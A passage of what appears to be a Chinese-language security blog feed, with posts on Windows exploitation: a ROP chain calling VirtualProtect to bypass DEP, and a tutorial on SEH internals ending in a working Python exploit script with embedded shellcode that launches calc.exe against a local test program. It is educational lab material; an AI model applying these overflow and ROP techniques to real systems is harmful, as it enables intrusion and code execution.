class="line">0x7797c0e4,  # POP ECX # RETN [ntdll.dll] </span><br><span class="line">0x74c502d6,  # &amp;Writable location [KERNEL32.DLL]</span><br></pre></td></tr></table></figure><p>(<em>漏了lPAddress？回想一下栈中的位置以及pusha传入的参数</em>)<br>我们假设我们已经调用了<code>pusha</code>，那么我们可以想象到，第二个问题就是</p><ul><li>如何去调用<code>VirtualProtect</code>呢?</li></ul><p><img src="/2018/01/24/%E5%85%85%E6%BB%A1%E6%8A%80%E5%B7%A7%E7%9A%84shellcode/shellcode03.png" alt=""><br>(<em>纠错:此时 esp 指向的是 edi 的位置</em>)<br>(<em>有点违和？想一想pusha的时候，栈中本来的gadget是不是被各个寄存器给覆盖掉了？</em>)<br>上图是按照给出的shellcode重现的情况(部分未分析的地方没有提到)。由图可知，我们根本没有办法调用到那个<code>VirtualProtect</code>!所以我们不能直接的把函数地址填写到栈上，我们可以采取一种稍微绕弯的<code>gadget</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mov eax, &amp;VirtualProtect;</span><br><span class="line">jmp [eax]</span><br></pre></td></tr></table></figure><p>按照上面的写法，我们可以算是调用了<code>VirtualProtect</code>函数，而且最关键的是，这样处理的时候<strong>函数调用的时候不需要紧密联系栈，此时只需要关心栈中的数据就可以了</strong>。于是我们为了满足栈中的处理，可以使用下面的<code>gadget</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">0x6ad696ed,  # POP EDI # RETN [MSVCR110.dll] </span><br><span class="line">0x6adb4486,  # RETN (ROP NOP) [MSVCR110.dll]</span><br><span class="line">0x6adb53f6,  # POP ESI # RETN [MSVCR110.dll] </span><br><span class="line">0x75d84498,  # JMP [EAX] [KERNELBASE.dll]</span><br><span class="line">0x6ad978b7,  # POP EAX # RETN [MSVCR110.dll] </span><br><span class="line">0x74c21230,  # ptr to &amp;VirtualProtect() [IAT KERNEL32.DLL]</span><br></pre></td></tr></table></figure><p>加入了这些数据之后我们可以看栈现在的情况<br><img src="/2018/01/24/%E5%85%85%E6%BB%A1%E6%8A%80%E5%B7%A7%E7%9A%84shellcode/shellcode04.png" alt=""><br>此时的<code>esp</code>正好指向一个距离参数为<code>esp + 0x8</code>的位置，并且发生了函数调用，完全就是模拟了<code>call VirtualProtect</code>。太棒了，这样我们就能够调用<code>VirtualProtect</code>函数了!<br>(<em>如果将寄存器倒过来放，强行构成一个函数调用栈?看后面提到的<code>VirtualProtect</code>的特性</em>)</p><ul><li>但是调用结束之后呢?我们有一个<code>gadget</code>的位置，要用这个来调整 esp 吗?</li></ul><p><code>VirtualProtect</code>返回的ret和普通的函数返回不太一样，返回为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ret 0x10</span><br></pre></td></tr></table></figure><p>这个指令的意思是<code>将返回地址交还给eip之后，esp += 0x10</code><br>这样的话上图中的<code>esp</code>正好就会落在<code>eax</code>的位置上，并且此时的eip的值为<code>&amp;VirtualProtect</code>，也就是说最后一个寄存器<code>EBP</code>的值可以开始调用了:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">0x6add435d,  # POP EBP # RETN [MSVCR110.dll] </span><br><span class="line">0x6add435d,  # skip 4 bytes [MSVCR110.dll]</span><br></pre></td></tr></table></figure><p>通过<code>pop ret</code>，让esp正好落在了<code>jmp esp</code>上，实现了<code>shellcode</code>的调用</p><p>附上当初为了思考的时候画的结构图</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">stack bottom</span><br><span class="line">            +-------------------------+</span><br><span class="line">            | ptr to jmp esp          |</span><br><span class="line">            +-------------------------+</span><br><span class="line">            | ptr PUSHAD              |</span><br><span class="line">            +-------------------------+ &lt;----- pushad 开始前 esp</span><br><span class="line">            | eax ptr VirtualProtect  |   之前为 PUSHAD</span><br><span class="line">            +-------------------------+</span><br><span class="line">            | ecx &amp;Writeable location |</span><br><span class="line">            +-------------------------+</span><br><span class="line">            | edx NewProtect          |</span><br><span class="line">            +-------------------------+</span><br><span class="line">            | ebx dwSize              |</span><br><span class="line">            +-------------------------+    esp移动方向，正好与pushad相反</span><br><span class="line">            | esp lPAddress           |         ^</span><br><span class="line">            +-------------------------+         |</span><br><span class="line">            | ebp pop ebp and return  |         |</span><br><span class="line">            +-------------------------+         |</span><br><span class="line">            | esi jmp [eax]           |         |</span><br><span class="line">            +-------------------------+         |</span><br><span class="line">            | edi retn(just like nop) |         |</span><br><span class="line">stack top   +-------------------------+ &lt;----- pushad 结束后 esp</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;纠结了一下到底要叫什么名字，因为这里打算提到 pwn 的时候遇到的各种奇技淫巧(或者说各种很棒的思路)，着重想提一下 shellcode 和 ROP。&lt;/p&gt;
&lt;h2 id=&quot;more-充满技巧的shellcode&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="windows" scheme="https://showlinkroom.me/tags/windows/"/>
    
  </entry>
  
  <entry>
    <title>WindowsPwn--SEH</title>
    <link href="https://showlinkroom.me/2018/01/16/WindowsPwn-SEH/"/>
    <id>https://showlinkroom.me/2018/01/16/WindowsPwn-SEH/</id>
    <published>2018-01-16T13:23:49.000Z</published>
    <updated>2020-07-16T13:31:30.432Z</updated>
    
    <content type="html"><![CDATA[<p>各种原因下开始接触 Windows Pwn 了。之前Linux下的那套思想还是能继续用，不过 Windows 平台下似乎有更多有趣的特性可以利用</p><h2 id="more-windows-下的-seh"><span id="more"></span><br>Windows 下的 SEH</h2><h2 id="异常处理那些事">异常处理那些事</h2><p>程序的运行并不总是那么稳健，有时候会因为一些错误抛出异常或者导致崩溃。那么如果我们的逻辑中有应对异常的办法，那么就能够保证程序的健壮性。 Windows 下就提供了一种用来处理异常的机制 — <strong>Structured Exception Handling</strong></p><h3 id="异常处理的结构">异常处理的结构</h3><p>在微软支持的 C / C++ 编译器优化中，支持如下的代码结构:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">__try&#123;</span><br><span class="line">    guarded body of code</span><br><span class="line">&#125;</span><br><span class="line">__except(Condition)&#123;</span><br><span class="line">    identifies an exception</span><br><span class="line">&#125;</span><br><span class="line">__finally&#123;</span><br><span class="line">    identifies a termmination handle</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><em>和别的语言差不多，都是try中放可能会出错的代码，except中存放抛出指定异常的时候的处理代码，finally中则是无论异常是否触发都会进行的最后的收尾工作</em></p><h4 id="异常抛出后的流程">异常抛出后的流程</h4><p>当一个异常的事件被抛出的时候，系统会首先调用函数<code>RaiseException</code>来描述当前线程中的异常的基本信息，然后会决定是否要执行当前的程序。根据不同的情况，异常可以分为<strong>可以继续执行的</strong>和<strong>不可以继续执行的</strong>两种类型。当异常发生的时候，程序首先再当前位置停止当前的进程，然后即将控制权<strong>交给系统</strong>。系统首先会保存当前进程的基本信息，然后会尝试去寻找一个<strong>异常句柄(Exception Handling)<strong>来处理异常情况。当前上下文的信息会被存储在一个叫做</strong>CONTEXT</strong>的结构体中，这些信息用于再完成异常处理后继续运行(如果程序还能够继续运行的话）。这些异常的信息都被存储在一个叫做<strong>EXCEPTION_RECORD</strong>的结构体中。当处理完异常之后，根据异常类型决定是终止当前进程或者是继续运行。</p><p><img src="/2018/01/16/WindowsPwn-SEH/seh01.png" alt=""></p><p><code>SEH</code>的位置如下<br><img src="/2018/01/16/WindowsPwn-SEH/seh02.png" alt=""></p><p><em>其中有一部分的内容从微软的官方文档中好像不容易找到，于是从网上搜集来的信息如下</em><br><code>SEH Handler</code>对象存储形式:<br><img src="/2018/01/16/WindowsPwn-SEH/seh05.png" alt=""><br>大致就是如下的结构体</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">struct SEH Handler&#123;</span><br><span class="line">    PVOID NextSehHandler;</span><br><span class="line">    HANDLERFUNCPTR except_handler_ptr;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>第一个变量记录了下一个<code>SEH Handler</code>的位置，<code>except_hander_ptr</code>函数则是记录了当前的异常处理函数的地址。<br>这个<code>SEH Chain</code>就是由这些节点组成的。其中这个节点的末尾的 NextSehHandler 为-1，表示当前节点已经到达尾部，并且该节点上的函数一般都是<code>ExitTread/ExitProcess</code>，用于终止当前的进程（也就是说，如果无法处理这个异常的话，我们就终止该进程，没毛病）。<br>当异常抛出后，系统会对当前的异常程序进行展开，检查当前的 except handle 能否处理当前的异常，如果不行的话就遍历这个<code>SEH Chain</code>，如果找到了可以处理异常的节点后，会重新遍历<code>SEH Chain</code>,不过这一次是直接访问对应的<code>except_handler</code>，并且调用函数进行处理。</p><h4 id="相关结构信息">相关结构信息</h4><p><code>GS_ExceptionPointers</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">EXCEPTION_POINTERS</span> &#123;</span></span><br><span class="line">  PEXCEPTION_RECORD ExceptionRecord;</span><br><span class="line">  PCONTEXT          ContextRecord;</span><br><span class="line">&#125; EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;</span><br></pre></td></tr></table></figure><p>变量含义如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">+--------------------------------+--------------------------------------------------------------------------+</span><br><span class="line">|        ExceptionRecord         |  指向ExceptionRecord的指针，里面记载了一个独立于机器的异常行为               |</span><br><span class="line">+--------------------------------+--------------------------------------------------------------------------+</span><br><span class="line">|        ContextRecord           |  指向记录了异常上下文结构体的指针                                           |</span><br><span class="line">+--------------------------------+--------------------------------------------------------------------------+</span><br></pre></td></tr></table></figure><p><code>RaiseException</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> WINAPI <span class="title function_">RaiseException</span><span class="params">(</span></span><br><span class="line"><span class="params">  _In_       DWORD     dwExceptionCode,</span></span><br><span class="line"><span class="params">  _In_       DWORD     dwExceptionFlags,</span></span><br><span class="line"><span class="params">  _In_       DWORD     nNumberOfArguments,</span></span><br><span class="line"><span class="params">  _In_ <span class="type">const</span> ULONG_PTR *lpArguments</span></span><br><span class="line"><span class="params">)</span>;</span><br></pre></td></tr></table></figure><p>变量含义如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">+--------------------------------+--------------------------------------------------------------------------+</span><br><span class="line">|        dwExceptionCode         |  表示当前线程的发生异常的原因(例如读写保护地址，数组越界并且能够被检查到等等)   |</span><br><span class="line">+--------------------------------+--------------------------------------------------------------------------+</span><br><span class="line">|        dwExceptionFlags        |  表示当前的异常发生后，能够被执行。                                          |</span><br><span class="line">+--------------------------------+--------------------------------------------------------------------------+</span><br><span class="line">|        nNumberOfArguments      |  lpArguments 数组中的参数个数                                              |</span><br><span class="line">+--------------------------------+--------------------------------------------------------------------------+</span><br><span class="line">|        lpArguments             |  当前参数的数组                                                            |</span><br><span class="line">+--------------------------------+--------------------------------------------------------------------------+</span><br></pre></td></tr></table></figure><p><code>EXCEPTION_RECORD</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">EXCEPTION_RECORD</span> &#123;</span></span><br><span class="line">  DWORD                    ExceptionCode;</span><br><span class="line">  DWORD                    ExceptionFlags;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> _<span class="title">EXCEPTION_RECORD</span>  *<span class="title">ExceptionRecord</span>;</span></span><br><span class="line">  PVOID                    ExceptionAddress;</span><br><span class="line">  DWORD                    NumberParameters;</span><br><span class="line">  ULONG_PTR                ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];</span><br><span class="line">&#125; EXCEPTION_RECORD, *PEXCEPTION_RECORD;</span><br></pre></td></tr></table></figure><p>变量含义如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">+------------------------------+--------------------------------------------------------------------------+</span><br><span class="line">|        ExceptionCode         |  表示当前线程的发生异常的原因(例如读写保护地址，数组越界并且能够被检查到等等)   |</span><br><span class="line">+------------------------------+--------------------------------------------------------------------------+</span><br><span class="line">|        ExceptionFlags        |  表示当前的异常发生后，能够被执行。                                          |</span><br><span class="line">+------------------------------+--------------------------------------------------------------------------+</span><br><span class="line">|        ExceptionRecord       |  指向Exceotion_Record的结构体。当异常嵌套发生的时候，这个异常处理会串成链的形式|</span><br><span class="line">+------------------------------+--------------------------------------------------------------------------+</span><br><span class="line">|        ExceptionAddress      |  异常发生时候的地址                                                        |</span><br><span class="line">+------------------------------+--------------------------------------------------------------------------+</span><br><span class="line">|        NumberParameters      |  和当前异常相关的参数。这些参数定义在 ExceptionInformation 数组中             |</span><br><span class="line">+------------------------------+--------------------------------------------------------------------------+</span><br><span class="line">|        ExceptionInformation  |  用于描述当前异常的擦书。函数 RaiseException 可以指定这个数组的参数            |</span><br><span class="line">+------------------------------+--------------------------------------------------------------------------+</span><br></pre></td></tr></table></figure><p><code>except_handler</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">except_handler(  </span><br><span class="line">    <span class="keyword">struct</span> _EXCEPTION_RECORD *ExceptionRecord,  </span><br><span class="line">    <span class="type">void</span> * EstablisherFrame,  </span><br><span class="line">    <span class="keyword">struct</span> _CONTEXT *ContextRecord,  </span><br><span class="line">    <span class="type">void</span> * DispatcherContext ) </span><br></pre></td></tr></table></figure><p>函数作用：<br>该函数即为SEH这个流程中会调用的异常处理函数。当异常发生的时候，这个函数就会接住抛出的异常并且对其进行处理。</p><p><strong>关键：</strong><br>上述大部分变量，<strong>关键变量EstablisherFrame</strong>表示的意思是<strong>当前SEH栈的起始位置</strong>，这个地方往往会成为pwn的位置。</p><h4 id="特征代码">特征代码</h4><p>由于SEH是以链表的形式存在的，其链表头部存在于<code>FS:[0]</code>中，我们可以通过检查代码中是否包含这段代码来确定这个SEH的头部在哪(以下是这段代码的操作码)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">64A100000000</span><br></pre></td></tr></table></figure><h4 id="调试中的查看方法">调试中的查看方法</h4><h5 id="windbg">windbg</h5><p>使用指令</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">!exchain</span><br></pre></td></tr></table></figure><p>可以直接展示当前程序中的SEH</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">d fs:[0]</span><br></pre></td></tr></table></figure><p>查看当前SEH的起始地址</p><h2 id="利用方法">利用方法</h2><p>前面讲了一大堆，其中最关键的对象就是<strong>栈中的 SEH Handle 存储的形式</strong>这点:<br><img src="/2018/01/16/WindowsPwn-SEH/seh05.png" alt=""><br>这里可以看到，如果我们能够知道<strong>哪一个 SEH Handler函数能够处理我们引发的异常，我们就可以通过触发对应异常，并且修改对应指向except_handle的函数地址完成eip的劫持</strong>！</p><h3 id="dep关闭的情况">DEP关闭的情况</h3><p>此时我们需要知道我们填写的shellcode的地址，并且控制程序流跳转上去。这里给出我们需要的payload的形式:<br><img src="/2018/01/16/WindowsPwn-SEH/seh06.png" alt=""><br>让我们结合上述的的payload来讲一下这个思路好了：</p><h4 id="让eip跳转到esp上">让eip跳转到esp上！</h4><p>在进行异常函数调用的时候，<strong>esp的位置发生了变化</strong>。然而根据上面的函数可以知道，每一个<code>SEH Handler</code>中都会存储变量<code>EstablisherFrame</code>，这个变量就是我们的<code>SEH Chain</code>的起始地址，也就是一个<strong>我们可以控制的esp地址</strong>，此时程序企图调用函数<code>except_handler</code>的时候，栈中的情况如下<br><em>纠正了之前描述相反的说法</em></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">+----------------------+</span><br><span class="line">| * DispatcherContext  | esp + 0x10</span><br><span class="line">+----------------------+</span><br><span class="line">|    *ContextRecord    | esp + 0x0c</span><br><span class="line">+----------------------+</span><br><span class="line">| * EstablisherFrame   | esp + 0x08</span><br><span class="line">+----------------------+</span><br><span class="line">|   *ExceptionRecord   | esp + 0x04</span><br><span class="line">+----------------------+</span><br><span class="line">|  call back address   | esp</span><br><span class="line">+----------------------+</span><br></pre></td></tr></table></figure><p>当<code>except_handler</code>进行调用的时候，此时的<code>esp+8</code>的位置上正好就是<code>EstablisherFrame</code>，因此如果我们给出如下ROP:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pop ; 弹出 back address</span><br><span class="line">pop ; 弹出ExceptionRecord</span><br><span class="line">ret ; 返回到EstablisherFram指向的地址</span><br></pre></td></tr></table></figure><p>那么此时就能够控制程序流，跳转到EstablisherFrame上，也就是<code>SEH Chain</code>的开头（上图的Jmp处）了！</p><h4 id="让eip跳转到shellcode上">让eip跳转到shellcode上！</h4><p>然而此时的程序如之前的payload，<code>eip</code>当前的位置后4个字节就又是<code>pop pop ret</code>的地址，这样下去的话并不能跳转到我们的shellcode上，于是我们将这个位置填写成一个<strong>向后跳转四个字节</strong>的代码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jmp 0x6 ;&quot;\xeb\x04&quot; 不要忘记自己的两个字节也要跳过去</span><br></pre></td></tr></table></figure><p>跳转后，就正好落到我们的shellcode上了！</p><h2 id="实例-触发fread的seh">实例:触发fread的SEH</h2><p>这里以一个实际例子来说明SEH的触发。<br>函数的大致逻辑如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">File = _fopen(argv[<span class="number">1</span>], <span class="string">&quot;rb&quot;</span>);</span><br><span class="line"><span class="type">char</span> msg[<span class="number">32</span>];</span><br><span class="line"><span class="built_in">memset</span>(msg, <span class="number">0</span>, <span class="number">32</span>);</span><br><span class="line">_fseek(File, <span class="number">0</span>, <span class="number">2</span>);</span><br><span class="line">len = _ftell(File);</span><br><span class="line">_fseek(v5, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"><span class="type">int</span> num = fread(msg, <span class="number">1</span>, len, File);</span><br><span class="line"><span class="keyword">if</span>(num &gt;= <span class="number">0x20</span>)&#123;</span><br><span class="line">    __report_rangecheckfailure();</span><br><span class="line">    __debugbreak();</span><br><span class="line">    JUMPOUT(*(_DWORD *)__security_check_cookie);</span><br><span class="line">&#125;</span><br><span class="line">msg[num] = <span class="number">0</span>;</span><br><span class="line">_fclose(File);</span><br><span class="line">_printf(<span class="string">&quot;%s\n&quot;</span>, msg);</span><br><span class="line">result = <span class="number">0</span>;</span><br></pre></td></tr></table></figure><p>程序本身逻辑很简单，接收一个传入的参数表示当前读入程序的文件，然后通过检测文件本身的长度，将文件内容读入缓冲区中并且输出到屏幕上。由于打开了<code>GS</code>，所以会出现函数<code>__report_rangecheckfailure()</code>这类内容。</p><h3 id="坑点">坑点</h3><p>这个题目看起来就是一个简单的栈溢出，但是由于有<code>GS</code>，所以如果我们只是单纯的输入过长的内容，会导致变量<strong>len</strong>的长度<strong>高于0x20，引发__report_rangecheckfailure</strong>。这个函数我上网找到的资料比较少，大致就是<strong>通过检测读入到栈中数据的长度和预定义的数据长度比较，从而检测栈溢出</strong>。于是如果我们像正常程序一样处理，此时程序逻辑就会如下:<br><img src="/2018/01/16/WindowsPwn-SEH/seh03.png" alt=""></p><ul><li>int 29h 为 win8新加入的特性，可以以最快的方式结束当前进程</li><li>这段逻辑于 main 函数中的 SEH 特性无关</li></ul><p>从上述逻辑中可以看到，这个时候原先处于main函数中的 SEH 已经不再参与到整个程序流程中了(可能只是我没有观察到?不过至少是无法利用 main 函数中的 SEH 了)。</p><p>这样看来，我们就没有办法触发当前main函数中的异常了。。。。吗？</p><h3 id="触发异常的方法">触发异常的方法</h3><p>这个时候要回到观察我们的<code>_fread</code>函数。函数的关键逻辑如下:<br><img src="/2018/01/16/WindowsPwn-SEH/seh04.png" alt=""><br>fread函数中的核心逻辑有一段<code>memcpy</code>的逻辑，这个逻辑只是简单的调用<code>rep</code>，没有进行长度限制之类。于是在这个地方就可能发生<strong>越界读写</strong>。我们这边正是利用了这个思路，<strong>将数据写至栈底以下，触发页保护从而引起异常</strong>。</p><h3 id="payload">payload</h3><p>由于这个是本地测试的题目，所以我们倒是不用考虑地址泄露啥的，直接用调试器计算出来就好。首先通过peda中的工具<code>pattern</code>算出当前距离SEH handler 的距离为88，然后根据此编写shellcode的生成程序:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#   -*- coding:utf-8    -*-</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">u32</span>(<span class="params">num</span>):</span><br><span class="line">    <span class="keyword">return</span> struct.pack(<span class="string">&quot;&lt;I&quot;</span>, num)</span><br><span class="line"></span><br><span class="line">shellcode = <span class="string">b&quot;\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b&quot;</span> </span><br><span class="line">shellcode += <span class="string">b&quot;\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7&quot;</span></span><br><span class="line">shellcode +=<span class="string">b&quot;\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf&quot;</span></span><br><span class="line">shellcode +=<span class="string">b&quot;\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c&quot;</span></span><br><span class="line">shellcode +=<span class="string">b&quot;\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01&quot;</span></span><br><span class="line">shellcode +=<span class="string">b&quot;\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31&quot;</span></span><br><span class="line">shellcode +=<span class="string">b&quot;\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d&quot;</span></span><br><span class="line">shellcode +=<span class="string">b&quot;\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66&quot;</span></span><br><span class="line">shellcode +=<span class="string">b&quot;\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0&quot;</span></span><br><span class="line">shellcode +=<span class="string">b&quot;\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f&quot;</span></span><br><span class="line">shellcode +=<span class="string">b&quot;\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00&quot;</span></span><br><span class="line">shellcode +=<span class="string">b&quot;\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5&quot;</span></span><br><span class="line">shellcode +=<span class="string">b&quot;\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a&quot;</span></span><br><span class="line">shellcode +=<span class="string">b&quot;\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53&quot;</span></span><br><span class="line">shellcode +=<span class="string">b&quot;\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00&quot;</span></span><br><span class="line"></span><br><span class="line">page_offset = <span class="number">0xdb0000</span></span><br><span class="line">pop_pop_ret = u32(<span class="number">0x1931</span> + page_offset)</span><br><span class="line">jmp_code = <span class="string">b&#x27;\x90\x90\xeb\x04&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    fd = <span class="built_in">open</span>(<span class="string">&quot;step2.txt&quot;</span>,<span class="string">&#x27;wb&#x27;</span>)</span><br><span class="line">    poc = <span class="string">b&quot;a&quot;</span> * <span class="number">84</span> + jmp_code + pop_pop_ret + shellcode + <span class="string">b&quot;a&quot;</span>*<span class="number">3000</span></span><br><span class="line">    fd.write(poc)</span><br><span class="line">    fd.close()</span><br></pre></td></tr></table></figure><p>给个弹出来的计算器一个特写~<br><img src="/2018/01/16/WindowsPwn-SEH/seh07.png" alt=""></p><p>参考文章<br><a href="https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/">https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/</a><br><a href="https://www.securitysift.com/windows-exploit-development-part-6-seh-exploits/">https://www.securitysift.com/windows-exploit-development-part-6-seh-exploits/</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;各种原因下开始接触 Windows Pwn 了。之前Linux下的那套思想还是能继续用，不过 Windows 平台下似乎有更多有趣的特性可以利用&lt;/p&gt;
&lt;h2 id=&quot;more-windows-下的-seh&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="windows" scheme="https://showlinkroom.me/tags/windows/"/>
    
  </entry>
  
  <entry>
    <title>PROCMON与themida的纠葛</title>
    <link href="https://showlinkroom.me/2018/01/14/PROCMON%E4%B8%8Ethemida%E7%9A%84%E7%BA%A0%E8%91%9B/"/>
    <id>https://showlinkroom.me/2018/01/14/PROCMON%E4%B8%8Ethemida%E7%9A%84%E7%BA%A0%E8%91%9B/</id>
    <published>2018-01-13T16:22:33.000Z</published>
    <updated>2020-07-16T13:31:30.395Z</updated>
    
